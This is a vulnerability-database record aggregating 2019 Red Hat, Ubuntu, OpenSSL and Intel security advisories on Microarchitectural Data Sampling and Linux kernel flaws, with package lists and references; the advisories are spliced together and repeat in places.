7):\n\nppc64:\nopenssl-debuginfo-1.0.2k-19.el7.ppc.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc64.rpm\nopenssl-perl-1.0.2k-19.el7.ppc64.rpm\nopenssl-static-1.0.2k-19.el7.ppc.rpm\nopenssl-static-1.0.2k-19.el7.ppc64.rpm\n\nppc64le:\nopenssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm\nopenssl-perl-1.0.2k-19.el7.ppc64le.rpm\nopenssl-static-1.0.2k-19.el7.ppc64le.rpm\n\ns390x:\nopenssl-debuginfo-1.0.2k-19.el7.s390.rpm\nopenssl-debuginfo-1.0.2k-19.el7.s390x.rpm\nopenssl-perl-1.0.2k-19.el7.s390x.rpm\nopenssl-static-1.0.2k-19.el7.s390.rpm\nopenssl-static-1.0.2k-19.el7.s390x.rpm\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Workstation Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2018-0734\nhttps://access.redhat.com/security/cve/CVE-2019-1559\nhttps://access.redhat.com/security/updates/classification/#moderate\nhttps://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.7_release_notes/index\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2019 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIVAwUBXUl3otzjgjWX9erEAQgZQQ//XNcjRJGLVmjAzbVGiwxEqfFUvDVNiu97\nfW0vLXuV9TnQTveOVqOAWmmMv2iShkVIRPDvzlOfUsYrrDEYHKr0N38R/fhDEZsM\nWQrJh54WK9IjEGNevLTCePKMhVuII1WnHrLDwZ6hxYGdcap/sJrf+N428b5LvHbM\nB39vWl3vqJYXoiI5dmIYL8ko2SfLms5Cg+dR0hLrNohf9gK2La+jhWb/j2xw6X6q\n/LXw5+hi/G+USbnNFfjt9G0fNjMMZRX2bukUvY6UWJRYTOXpIUOFqqp5w9zgM7tZ\nuX7TMTC9xe6te4mBCAFDdt+kYYLYSHfSkFlFq+S7V0MY8DmnIzqBJE4lJIDTVp9F\nJbrMIPs9G5jdnzPUKZw/gH9WLgka8Q8AYI+KA2xSxFX9VZ20Z+EDDC9/4uwj3i0A\ngLeIB68OwD70jn4sjuQqizr7TCviQhTUoKVd/mTBAxSEFZLcE8Sy/BEYxLPm81z0\nveL16l6pmfg9uLac4V576ImfYNWlBEnJspA5E9K5CqQRPuZpCQFov7/D17Qm8v/x\nIcVKUaXiGquBwzHmIsD5lTCpl7CrGoU1PfNJ6Y/4xrVFOh1DLA4y6nnfysyO9eZx\nzBfuYS2VmfIq/tp1CjagI/DmJC4ezXeE4Phq9jm0EBASXtnLzVmc5j7kkqWjCcfm\nBtpJTAdr1kE=7kKR\n-----END PGP SIGNATURE-----\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. These packages include redhat-release-virtualization-host,\novirt-node, and rhev-hypervisor. RHVH features a Cockpit user\ninterface for monitoring the host\u0027s resources and performing administrative\ntasks. \n\nThe following packages have been upgraded to a later upstream version:\nimgbased (1.1.9), ovirt-node-ng (4.3.5), redhat-release-virtualization-host\n(4.3.5), redhat-virtualization-host (4.3.5). Bugs fixed (https://bugzilla.redhat.com/):\n\n1640820 - CVE-2018-16838 sssd: improper implementation of GPOs due to too restrictive permissions\n1658366 - CVE-2018-16881 rsyslog: imptcp: integer overflow when Octet-Counted TCP Framing is enabled\n1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle\n1687920 - RHVH fails to reinstall if required size is exceeding the available disk space due to anaconda bug\n1694065 - CVE-2019-0161 edk2: stack overflow in XHCI causing denial of service\n1702223 - Rebase RHV-H on RHEL 7.7\n1709829 - CVE-2019-10139 cockpit-ovirt: admin and appliance passwords saved in plain text variable file during HE deployment\n1718388 - CVE-2019-10160 python: regression of CVE-2019-9636 due to functional fix to allow port numbers in netloc\n1720156 - RHVH 4.3.4 version info is incorrect in plymouth and \"/etc/os-release\"\n1720160 - RHVH 4.3.4: Incorrect info in /etc/system-release-cpe\n1720310 - RHV-H post-installation scripts failing, due to existing tags\n1720434 - RHVH 7.7 brand is wrong in Anaconda GUI. \n1720435 - Failed to install RHVH 7.7\n1720436 - RHVH 7.7 should based on RHEL 7.7 server but not workstation. \n1724044 - Failed dependencies occur during install systemtap package. \n1726534 - dhclient fails to load libdns-export.so.1102 after upgrade if the user installed library is not persisted on the new layer\n1727007 - Update RHVH 7.7 branding with new Red Hat logo\n1727859 - Failed to boot after upgrading a host with a custom kernel\n1728998 - \"nodectl info\" displays error after RHVH installation\n1729023 - The error message is inappropriate when run `imgbase layout --init` on current layout\n\n6. \n\nThis issue was discovered by Juraj Somorovsky, Robert Merget and Nimrod Aviram,\nwith additional investigation by Steven Collison and Andrew Hourselt. It was\nreported to OpenSSL on 10th December 2018. \n\nNote: Advisory updated to make it clearer that AEAD ciphersuites are not impacted. \n\nNote\n====\n\nOpenSSL 1.0.2 and 1.1.0 are currently only receiving security updates. Support\nfor 1.0.2 will end on 31st December 2019. Support for 1.1.0 will end on 11th\nSeptember 2019. Users of these versions should upgrade to OpenSSL 1.1.1. \n\nReferences\n==========\n\nURL for this Security Advisory:\nhttps://www.openssl.org/news/secadv/20190226.txt\n\nNote: the online version of the advisory may be updated with additional details\nover time. \n\nFor details of OpenSSL severity classifications please see:\nhttps://www.openssl.org/policies/secpolicy.html\n",
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var-201905-0710
Vulnerability from variot

Microarchitectural Load Port Data Sampling (MLPDS): Load ports on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access. A list of impacted products can be found here: https://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf. Multiple Intel Products are prone to multiple local information-disclosure vulnerabilities. Local attackers can exploit these issues to obtain sensitive information that may aid in further attacks. Intel Xeon Scalable Processors are all products of Intel Corporation of the United States. Intel Xeon Scalable Processors are a scalable server central processing unit (CPU). Intel Xeon Processor E7 v4 Family is a Xeon E7 series server central processing unit (CPU). Intel Xeon Processor E5 v4 Family is a Xeon E5 series server central processing unit (CPU). This vulnerability stems from configuration errors in network systems or products during operation. The following products and versions are affected: Intel Xeon Scalable Processors; Xeon Processor E7 v4 Family; Xeon Processor E5 v4 Family; Xeon Processor E3 v6 Family; Xeon Processor E3 v4 Family; Xeon Processor E; Xeon E Processor; Xeon D Processor; Puma; Pentium Processor Silver Series; Pentium Processor N Series; Pentium Processor J Series; Pentium Gold Processor Series; Mobile Communications Platforms; Microcode; Core X series Processors; Celeron Processor N Series; Celeron Processor J Series; Celeron Processor G Series; Atom Processor X Series ;Atom Processor E3900 Series;Atom Processor E3800 Series;Atom Processor. The vulnerability is due to improper memory operations that could expose a side channel on the affected system. A successful exploit could be used to conduct further attacks. Proof-of-concept (PoC) code that demonstrates an exploit of this vulnerability is publicly available. Intel has confirmed the vulnerability and released software updates. ========================================================================== Ubuntu Security Notice USN-3980-1 May 14, 2019

linux, linux-aws, linux-azure, linux-gcp, linux-kvm, linux-raspi2 vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 18.10

Summary:

Several security issues were fixed in the Linux kernel.

Software Description: - linux: Linux kernel - linux-aws: Linux kernel for Amazon Web Services (AWS) systems - linux-azure: Linux kernel for Microsoft Azure Cloud systems - linux-gcp: Linux kernel for Google Cloud Platform (GCP) systems - linux-kvm: Linux kernel for cloud environments - linux-raspi2: Linux kernel for Raspberry Pi 2

Details:

Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Giorgi Maisuradze, Dan Horea Lutas, Andrei Lutas, Volodymyr Pikhur, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida, Moritz Lipp, Michael Schwarz, and Daniel Gruss discovered that memory previously stored in microarchitectural fill buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2018-12130)

Brandon Falk, Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida discovered that memory previously stored in microarchitectural load ports of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2018-12127)

Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Marina Minkin, Daniel Moghimi, Moritz Lipp, Michael Schwarz, Jo Van Bulck, Daniel Genkin, Daniel Gruss, Berk Sunar, Frank Piessens, and Yuval Yarom discovered that memory previously stored in microarchitectural store buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2018-12126)

Vasily Averin and Evgenii Shatokhin discovered that a use-after-free vulnerability existed in the NFS41+ subsystem when multiple network namespaces are in use. A local attacker in a container could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2018-16884)

Ke Sun, Henrique Kawakami, Kekai Hu, Rodrigo Branco, Volodrmyr Pikhur, Moritz Lipp, Michael Schwarz, Daniel Gruss, Stephan van Schaik, Alyssa Milburn, Sebastian \xd6sterlund, Pietro Frigo, Kaveh Razavi, Herbert Bos, and Cristiano Giuffrida discovered that uncacheable memory previously stored in microarchitectural buffers of an Intel CPU core may be exposed to a malicious process that is executing on the same CPU core. (CVE-2019-11091)

Matteo Croce, Natale Vinto, and Andrea Spagnolo discovered that the cgroups subsystem of the Linux kernel did not properly account for SCTP socket buffers. A local attacker could use this to cause a denial of service (system crash). (CVE-2019-3874)

Alex Williamson discovered that the vfio subsystem of the Linux kernel did not properly limit DMA mappings. A local attacker could use this to cause a denial of service (memory exhaustion). (CVE-2019-3882)

Marc Orr discovered that the KVM hypervisor implementation in the Linux kernel did not properly restrict APIC MSR register values when nested virtualization is used. An attacker in a guest vm could use this to cause a denial of service (host OS crash). (CVE-2019-3887)

Hugues Anguelkov discovered that the Broadcom Wifi driver in the Linux kernel contained a head puffer overflow. A physically proximate attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code. (CVE-2019-9500)

Hugues Anguelkov discovered that the Broadcom Wifi driver in the Linux kernel did not properly prevent remote firmware events from being processed for USB Wifi devices. A physically proximate attacker could use this to send firmware events to the device. (CVE-2019-9503)

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 18.10: linux-image-4.18.0-1011-gcp 4.18.0-1011.12 linux-image-4.18.0-1012-kvm 4.18.0-1012.12 linux-image-4.18.0-1014-raspi2 4.18.0-1014.16 linux-image-4.18.0-1016-aws 4.18.0-1016.18 linux-image-4.18.0-1018-azure 4.18.0-1018.18 linux-image-4.18.0-20-generic 4.18.0-20.21 linux-image-4.18.0-20-generic-lpae 4.18.0-20.21 linux-image-4.18.0-20-lowlatency 4.18.0-20.21 linux-image-4.18.0-20-snapdragon 4.18.0-20.21 linux-image-aws 4.18.0.1016.16 linux-image-azure 4.18.0.1018.19 linux-image-gcp 4.18.0.1011.11 linux-image-generic 4.18.0.20.21 linux-image-generic-lpae 4.18.0.20.21 linux-image-gke 4.18.0.1011.11 linux-image-kvm 4.18.0.1012.12 linux-image-lowlatency 4.18.0.20.21 linux-image-powerpc-e500mc 4.18.0.20.21 linux-image-powerpc-smp 4.18.0.20.21 linux-image-powerpc64-emb 4.18.0.20.21 linux-image-powerpc64-smp 4.18.0.20.21 linux-image-raspi2 4.18.0.1014.11 linux-image-snapdragon 4.18.0.20.21 linux-image-virtual 4.18.0.20.21

After a standard system update you need to reboot your computer to make all the necessary changes.

Please note that fully mitigating the Microarchitectural Data Sampling (MDS) issues (CVE-2018-12126, CVE-2018-12127, CVE-2018-12130, and CVE-2019-11091) requires corresponding processor microcode/firmware updates or, in virtual environments, hypervisor updates. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks. (CVE-2019-11091)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Software Description: - intel-microcode: Processor microcode for Intel CPUs

Details:

USN-3977-1 provided mitigations for Microarchitectural Data Sampling (MDS) vulnerabilities in Intel Microcode for a large number of Intel processor families. This update provides the corresponding updated microcode mitigations for Intel Cherry Trail and Bay Trail processor families. 7) - noarch, x86_64

  1. Description:

The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256

===================================================================== Red Hat Security Advisory

Synopsis: Important: kernel security and bug fix update Advisory ID: RHSA-2019:1170-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2019:1170 Issue date: 2019-05-14 CVE Names: CVE-2016-7913 CVE-2016-8633 CVE-2017-11600 CVE-2017-12190 CVE-2017-13215 CVE-2017-16939 CVE-2017-17558 CVE-2017-1000407 CVE-2018-1068 CVE-2018-3665 CVE-2018-12126 CVE-2018-12127 CVE-2018-12130 CVE-2018-18559 CVE-2019-11091 =====================================================================

  1. Summary:

An update for kernel is now available for Red Hat Enterprise Linux 7.4 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

  1. Relevant releases/architectures:

Red Hat Enterprise Linux ComputeNode EUS (v. 7.4) - noarch, x86_64 Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.4) - x86_64 Red Hat Enterprise Linux Server EUS (v. 7.4) - noarch, ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional EUS (v. 7.4) - ppc64, ppc64le, x86_64

  1. Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

  • A flaw was found in the implementation of the "fill buffer", a mechanism used by modern CPUs when a cache-miss is made on L1 CPU cache. If an attacker can generate a load operation that would create a page fault, the execution will continue speculatively with incorrect data from the fill buffer while the data is fetched from higher level caches. This response time can be measured to infer data in the fill buffer. (CVE-2018-12130)

  • Modern Intel microprocessors implement hardware-level micro-optimizations to improve the performance of writing data back to CPU caches. The write operation is split into STA (STore Address) and STD (STore Data) sub-operations. These sub-operations allow the processor to hand-off address generation logic into these sub-operations for optimized writes. Both of these sub-operations write to a shared distributed processor structure called the 'processor store buffer'. As a result, an unprivileged attacker could use this flaw to read private data resident within the CPU's processor store buffer. (CVE-2018-12126)

  • Microprocessors use a ‘load port’ subcomponent to perform load operations from memory or IO. During a load operation, the load port receives data from the memory or IO subsystem and then provides the data to the CPU registers and operations in the CPU’s pipelines. Stale load operations results are stored in the 'load port' table until overwritten by newer operations. Certain load-port operations triggered by an attacker can be used to reveal data about previous stale requests leaking data back to the attacker via a timing side-channel. (CVE-2019-11091)

  • kernel: Buffer overflow in firewire driver via crafted incoming packets (CVE-2016-8633)

  • kernel: crypto: privilege escalation in skcipher_recvmsg function (CVE-2017-13215)

  • Kernel: ipsec: xfrm: use-after-free leading to potential privilege escalation (CVE-2017-16939)

  • kernel: Out-of-bounds write via userland offsets in ebt_entry struct in netfilter/ebtables.c (CVE-2018-1068)

  • kernel: Use-after-free due to race condition in AF_PACKET implementation (CVE-2018-18559)

  • kernel: media: use-after-free in [tuner-xc2028] media driver (CVE-2016-7913)

  • kernel: Out-of-bounds access via an XFRM_MSG_MIGRATE xfrm Netlink message (CVE-2017-11600)

  • kernel: memory leak when merging buffers in SCSI IO vectors (CVE-2017-12190)

  • kernel: Unallocated memory access by malicious USB device via bNumInterfaces overflow (CVE-2017-17558)

  • Kernel: KVM: DoS via write flood to I/O port 0x80 (CVE-2017-1000407)

  • Kernel: FPU state information leakage via lazy FPU restore (CVE-2018-3665)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Bug Fix(es):

  • rwsem in inconsistent state leading system to hung (BZ#1690321)

  • efi_bgrt_init fails to ioremap error during boot (BZ#1692284)

  • Solution:

For details on how to apply this update, which includes the changes described in this advisory, refer to:

https://access.redhat.com/articles/11258

The system must be rebooted for this update to take effect.

  1. Bugs fixed (https://bugzilla.redhat.com/):

1391490 - CVE-2016-8633 kernel: Buffer overflow in firewire driver via crafted incoming packets 1402885 - CVE-2016-7913 kernel: media: use-after-free in [tuner-xc2028] media driver 1474928 - CVE-2017-11600 kernel: Out-of-bounds access via an XFRM_MSG_MIGRATE xfrm Netlink message 1495089 - CVE-2017-12190 kernel: memory leak when merging buffers in SCSI IO vectors 1517220 - CVE-2017-16939 Kernel: ipsec: xfrm: use-after-free leading to potential privilege escalation 1520328 - CVE-2017-1000407 Kernel: KVM: DoS via write flood to I/O port 0x80 1525474 - CVE-2017-17558 kernel: Unallocated memory access by malicious USB device via bNumInterfaces overflow 1535173 - CVE-2017-13215 kernel: crypto: privilege escalation in skcipher_recvmsg function 1552048 - CVE-2018-1068 kernel: Out-of-bounds write via userland offsets in ebt_entry struct in netfilter/ebtables.c 1585011 - CVE-2018-3665 Kernel: FPU state information leakage via lazy FPU restore 1641878 - CVE-2018-18559 kernel: Use-after-free due to race condition in AF_PACKET implementation 1646781 - CVE-2018-12126 hardware: Microarchitectural Store Buffer Data Sampling (MSBDS) 1646784 - CVE-2018-12130 hardware: Microarchitectural Fill Buffer Data Sampling (MFBDS) 1667782 - CVE-2018-12127 hardware: Micro-architectural Load Port Data Sampling - Information Leak (MLPDS) 1705312 - CVE-2019-11091 hardware: Microarchitectural Data Sampling Uncacheable Memory (MDSUM)

  1. Package List:

Red Hat Enterprise Linux ComputeNode EUS (v. 7.4):

Source: kernel-3.10.0-693.47.2.el7.src.rpm

noarch: kernel-abi-whitelists-3.10.0-693.47.2.el7.noarch.rpm kernel-doc-3.10.0-693.47.2.el7.noarch.rpm

x86_64: kernel-3.10.0-693.47.2.el7.x86_64.rpm kernel-debug-3.10.0-693.47.2.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debug-devel-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm kernel-devel-3.10.0-693.47.2.el7.x86_64.rpm kernel-headers-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-libs-3.10.0-693.47.2.el7.x86_64.rpm perf-3.10.0-693.47.2.el7.x86_64.rpm perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm python-perf-3.10.0-693.47.2.el7.x86_64.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm

Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.4):

x86_64: kernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-693.47.2.el7.x86_64.rpm perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm

Red Hat Enterprise Linux Server EUS (v. 7.4):

Source: kernel-3.10.0-693.47.2.el7.src.rpm

noarch: kernel-abi-whitelists-3.10.0-693.47.2.el7.noarch.rpm kernel-doc-3.10.0-693.47.2.el7.noarch.rpm

ppc64: kernel-3.10.0-693.47.2.el7.ppc64.rpm kernel-bootwrapper-3.10.0-693.47.2.el7.ppc64.rpm kernel-debug-3.10.0-693.47.2.el7.ppc64.rpm kernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm kernel-debug-devel-3.10.0-693.47.2.el7.ppc64.rpm kernel-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm kernel-debuginfo-common-ppc64-3.10.0-693.47.2.el7.ppc64.rpm kernel-devel-3.10.0-693.47.2.el7.ppc64.rpm kernel-headers-3.10.0-693.47.2.el7.ppc64.rpm kernel-tools-3.10.0-693.47.2.el7.ppc64.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm kernel-tools-libs-3.10.0-693.47.2.el7.ppc64.rpm perf-3.10.0-693.47.2.el7.ppc64.rpm perf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm python-perf-3.10.0-693.47.2.el7.ppc64.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm

ppc64le: kernel-3.10.0-693.47.2.el7.ppc64le.rpm kernel-bootwrapper-3.10.0-693.47.2.el7.ppc64le.rpm kernel-debug-3.10.0-693.47.2.el7.ppc64le.rpm kernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm kernel-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm kernel-debuginfo-common-ppc64le-3.10.0-693.47.2.el7.ppc64le.rpm kernel-devel-3.10.0-693.47.2.el7.ppc64le.rpm kernel-headers-3.10.0-693.47.2.el7.ppc64le.rpm kernel-tools-3.10.0-693.47.2.el7.ppc64le.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm kernel-tools-libs-3.10.0-693.47.2.el7.ppc64le.rpm perf-3.10.0-693.47.2.el7.ppc64le.rpm perf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm python-perf-3.10.0-693.47.2.el7.ppc64le.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm

s390x: kernel-3.10.0-693.47.2.el7.s390x.rpm kernel-debug-3.10.0-693.47.2.el7.s390x.rpm kernel-debug-debuginfo-3.10.0-693.47.2.el7.s390x.rpm kernel-debug-devel-3.10.0-693.47.2.el7.s390x.rpm kernel-debuginfo-3.10.0-693.47.2.el7.s390x.rpm kernel-debuginfo-common-s390x-3.10.0-693.47.2.el7.s390x.rpm kernel-devel-3.10.0-693.47.2.el7.s390x.rpm kernel-headers-3.10.0-693.47.2.el7.s390x.rpm kernel-kdump-3.10.0-693.47.2.el7.s390x.rpm kernel-kdump-debuginfo-3.10.0-693.47.2.el7.s390x.rpm kernel-kdump-devel-3.10.0-693.47.2.el7.s390x.rpm perf-3.10.0-693.47.2.el7.s390x.rpm perf-debuginfo-3.10.0-693.47.2.el7.s390x.rpm python-perf-3.10.0-693.47.2.el7.s390x.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.s390x.rpm

x86_64: kernel-3.10.0-693.47.2.el7.x86_64.rpm kernel-debug-3.10.0-693.47.2.el7.x86_64.rpm kernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debug-devel-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm kernel-devel-3.10.0-693.47.2.el7.x86_64.rpm kernel-headers-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-libs-3.10.0-693.47.2.el7.x86_64.rpm perf-3.10.0-693.47.2.el7.x86_64.rpm perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm python-perf-3.10.0-693.47.2.el7.x86_64.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm

Red Hat Enterprise Linux Server Optional EUS (v. 7.4):

ppc64: kernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm kernel-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm kernel-debuginfo-common-ppc64-3.10.0-693.47.2.el7.ppc64.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm kernel-tools-libs-devel-3.10.0-693.47.2.el7.ppc64.rpm perf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.ppc64.rpm

ppc64le: kernel-debug-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm kernel-debug-devel-3.10.0-693.47.2.el7.ppc64le.rpm kernel-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm kernel-debuginfo-common-ppc64le-3.10.0-693.47.2.el7.ppc64le.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm kernel-tools-libs-devel-3.10.0-693.47.2.el7.ppc64le.rpm perf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.ppc64le.rpm

x86_64: kernel-debug-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-debuginfo-common-x86_64-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm kernel-tools-libs-devel-3.10.0-693.47.2.el7.x86_64.rpm perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm python-perf-debuginfo-3.10.0-693.47.2.el7.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

  1. References:

https://access.redhat.com/security/cve/CVE-2016-7913 https://access.redhat.com/security/cve/CVE-2016-8633 https://access.redhat.com/security/cve/CVE-2017-11600 https://access.redhat.com/security/cve/CVE-2017-12190 https://access.redhat.com/security/cve/CVE-2017-13215 https://access.redhat.com/security/cve/CVE-2017-16939 https://access.redhat.com/security/cve/CVE-2017-17558 https://access.redhat.com/security/cve/CVE-2017-1000407 https://access.redhat.com/security/cve/CVE-2018-1068 https://access.redhat.com/security/cve/CVE-2018-3665 https://access.redhat.com/security/cve/CVE-2018-12126 https://access.redhat.com/security/cve/CVE-2018-12127 https://access.redhat.com/security/cve/CVE-2018-12130 https://access.redhat.com/security/cve/CVE-2018-18559 https://access.redhat.com/security/cve/CVE-2019-11091 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/security/vulnerabilities/mds

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce

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    "data": "Microarchitectural Load Port Data Sampling (MLPDS): Load ports on some microprocessors utilizing speculative execution may allow an authenticated user to potentially enable information disclosure via a side channel with local access. A list of impacted products can be found here: https://www.intel.com/content/dam/www/public/us/en/documents/corporate-information/SA00233-microcode-update-guidance_05132019.pdf. Multiple Intel Products are prone to multiple local information-disclosure vulnerabilities. \nLocal attackers can exploit these issues to obtain sensitive information that may aid in further attacks. Intel Xeon Scalable Processors are all products of Intel Corporation of the United States. Intel Xeon Scalable Processors are a scalable server central processing unit (CPU). Intel Xeon Processor E7 v4 Family is a Xeon E7 series server central processing unit (CPU). Intel Xeon Processor E5 v4 Family is a Xeon E5 series server central processing unit (CPU). This vulnerability stems from configuration errors in network systems or products during operation. The following products and versions are affected: Intel Xeon Scalable Processors; Xeon Processor E7 v4 Family; Xeon Processor E5 v4 Family; Xeon Processor E3 v6 Family; Xeon Processor E3 v4 Family; Xeon Processor E; Xeon E Processor; Xeon D Processor; Puma; Pentium Processor Silver Series; Pentium Processor N Series; Pentium Processor J Series; Pentium Gold Processor Series; Mobile Communications Platforms; Microcode; Core X series Processors; Celeron Processor N Series; Celeron Processor J Series; Celeron Processor G Series; Atom Processor X Series ;Atom Processor E3900 Series;Atom Processor E3800 Series;Atom Processor. \nThe vulnerability is due to improper memory operations that could expose a side channel on the affected system. A successful exploit could be used to conduct further attacks. \nProof-of-concept (PoC) code that demonstrates an exploit of this vulnerability is publicly available. \nIntel has confirmed the vulnerability and released software updates. ==========================================================================\nUbuntu Security Notice USN-3980-1\nMay 14, 2019\n\nlinux, linux-aws, linux-azure, linux-gcp, linux-kvm, linux-raspi2 vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 18.10\n\nSummary:\n\nSeveral security issues were fixed in the Linux kernel. \n\nSoftware Description:\n- linux: Linux kernel\n- linux-aws: Linux kernel for Amazon Web Services (AWS) 